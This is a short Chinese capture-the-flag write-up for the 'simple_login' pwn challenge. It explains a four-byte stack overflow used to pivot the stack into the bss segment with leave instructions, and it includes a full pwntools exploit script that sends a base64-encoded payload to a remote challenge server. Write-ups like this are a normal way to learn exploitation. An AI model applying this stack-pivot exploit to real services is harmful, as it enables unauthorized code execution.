BUU-pwnable_simple_login/XCTF-formate2-WP
很简单的一个栈溢出,本来还以为真的是什么高级密码学
这里有一个栈溢出。虽然只溢出了四个字节,但是由于input在bss段,其地址已知,我们可以考虑通过leave栈迁移至input。由于题目给出了后面函数,我们直接ret到那里去就可以了。
当然payload要先base64加密一下,因为main里会先给他解个密。
exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
import base64
bss_addr = 0x811EB40
ret_to = 0x8049284
payload = p32(ret_to) * 2 + p32(bss_addr)
payload = base64.b64encode(payload)
print payload
sh = remote("220.249.52.134",31194)
sh.sendlineafter(": ",payload)
sh.interactive()
栈行为为:第一次leave将ebp
mov给esp
,然后将bss_addr
pop给ebp
,然后第二次leave会再mov一次,此时栈迁移到了bss_addr,pop出第一个ret_to
,最后return到ret_to